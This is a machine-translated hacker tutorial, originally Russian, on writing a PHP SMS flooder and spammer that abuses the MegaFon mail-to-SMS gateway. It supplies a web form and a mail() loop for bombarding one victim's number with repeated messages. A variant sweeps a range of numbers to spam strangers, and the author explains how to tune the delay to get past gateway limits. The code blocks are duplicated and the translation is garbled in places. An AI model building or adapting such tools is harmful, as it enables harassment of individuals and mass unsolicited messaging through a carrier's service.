This page has been robot translated, sorry for typos if any. Original content here.

Wir schreiben Sms flooder oder spammer (mail2sms)

mail2sms
Wenn Sie entweder nicht funktionierende Links oder nicht funktionierende Skripte gefunden haben, haben Sie sich entschieden, den Flooder zu rollen. Das Opfer war der russische MEGAFON , nehmen wir ihn als Beispiel.

FLUTE

Zuerst werden wir herausfinden, was ein Flooder ist. Nach meinem Verständnis ist ein Flooder ein Programm oder Skript, das / die Informationen in einer bestimmten Menge (häufig - sehr groß) an einen bestimmten Adressaten sendet.

Also, was brauchen wir, um einen solchen Floor zu schreiben? Ja, fast nichts:
  • Hosting, mit PHP-Unterstützung
  • Gehirn + gerade Arme
  • die Möglichkeit, Google zu verwenden
Für die Überflutung verwenden wir das SMS-Gateway dieses Betreibers.
SMS-Gateway ist eine Schnittstelle, mit der Sie SMS senden und empfangen können, ohne ein Mobiltelefon zu verwenden. SMS-Nachrichten werden in E-Mail-Nachrichten, HTTP-Anfragen und zurück konvertiert. Eine Nachricht, die über ein solches Gateway gesendet wird, kann für den Absender frei sein; Es sind jedoch technische Einschränkungen möglich, beispielsweise die Anzahl der Nachrichten, die von einem Computer pro Tag gesendet werden.

Wie Sie oben sehen können, lernen fortgeschrittene Programmierer nichts Neues für sich.
Also, du hast das Hosting gewählt, du hast es herausgefunden ...
Erstellen Sie die Seite index.php mit folgendem Inhalt:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Wie Sie aus dem Code sehen können, wird dies eine Seite mit einem Formular sein, das unser Skript mit dem Namen sms.php referenziert:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Wir fangen an, den Code zu analysieren.
Zu Beginn des Skripts weisen wir Variablen zu.
$ from - jede Mailbox, von der Nachrichten gesendet werden.
$ to - der Adressat, das heißt, derjenige, den wir überschwemmen, um zu überschwemmen. Der Wert der Variablen wird aus dem Formular index.php übernommen und mit @ sms.mgsm.ru zusammengeführt. Was ist das @ sms.mgsm.ru? Dies ist der SMS-Gateway-Betreiber Megafon.
$ msg ist eine Variable, die den Text enthält, der gesendet wird.
Als nächstes gibt es einen Zyklus, dessen Aufgabe es ist, die gewünschte Menge an Nachricht mit einem Pause-Schlaf zu senden.
Die Mail-Funktion ist für die Weiterleitung von E-Mails an das Gateway zuständig.

Jetzt über die Funktion Schlaf . Warum wird es benötigt?
Wenn wir es nicht eingeben, reagiert der Server nicht auf die erforderliche Anzahl von SMS und sendet sie in Höhe von 1-2 Stück. Damit reagiert der Server und diese Funktion wird benötigt. In Klammern wird die Anzahl der Sekunden der Verzögerung geschrieben. Diese Zahl wird durch die Aufzählungsmethode verschiedener Varianten ausgewählt. Ihr Wert kann von der Auslastung des Gateways und der Geschwindigkeit Ihres Internets abhängen. Also experimentiere hier. Das Skript wurde mit Parameter 7 überprüft.

Wir überprüfen das Skript. Wir gehen zu unserem Formular, geben die erforderlichen Daten ein und klicken auf den Button ...
Jetzt sollten Sie berücksichtigen, dass das Skript nicht sofort ausgeführt wird , sondern nach und nach auf die Pause wartet, die Sie nach dem Senden jeder Nachricht eingestellt haben.

SPAM

Was ist Spam? Ich verstehe Spam als eine Massensendung von Informationen an verschiedene Personen für verschiedene Zwecke. Was wir brauchen, um Spam zu organisieren
  • alles, was für den flooder aufgelistet war
Wir müssen die Form des Versands geringfügig ändern. Ich werde nur ein Fragment geben:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Und ein bisschen modifizierte sms.php :

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
ich denke alles ist klar. Wir bewegen uns in einem bestimmten Zahlenbereich und senden ihnen SMS in einem bestimmten Intervall. Diese Methode:
[+] funktioniert ohne Datenbank. pro Person spart Geld und Verkehr
[+] im Gegensatz zur Basis - Sie gelangen auch zu den Netzwerkanfängern, die noch nicht in Datenbanken verfügbar sind (kostenpflichtig und kostenlos)
[-] nicht alle gesendeten SMS werden gesendet, weil es solche Nummern nicht gibt. Aber Sie können einen solchen Bereich wählen, so dass eine maximale Wahrscheinlichkeit der SMS-Zustellung besteht.

Was zum Schluss zu sagen ...
Dieses Material ruft Sie nicht zum Handeln auf und hat Faktencharakter. Der Autor des Artikels ist ich, und wenn der Link hier kopiert wird, ist erforderlich.
Mit etwas Geschick und etwas Geschick wird das Skript mit einem funktionierenden SMS-Gateway in einen Spammer umgewandelt oder an jeden anderen Betreiber angepasst.Hier für die Suche nach Gateways benötigten wir die Möglichkeit, Google zu googeln. Für die Faulen - eine große Liste von Gateways . Aber das wird vielleicht der nächste Artikel sein.

PS Flooder hat kürzlich getestet. Alles funktioniert super. Wenn es nicht funktioniert, gibt es mehrere Möglichkeiten. Ein - krumme Hände. Zweitens - Ihr Hosting verfügt nicht über die Mail-Funktion. Drittens - der Betreiber hat das Gateway gewechselt oder das Gateway ist überlastet.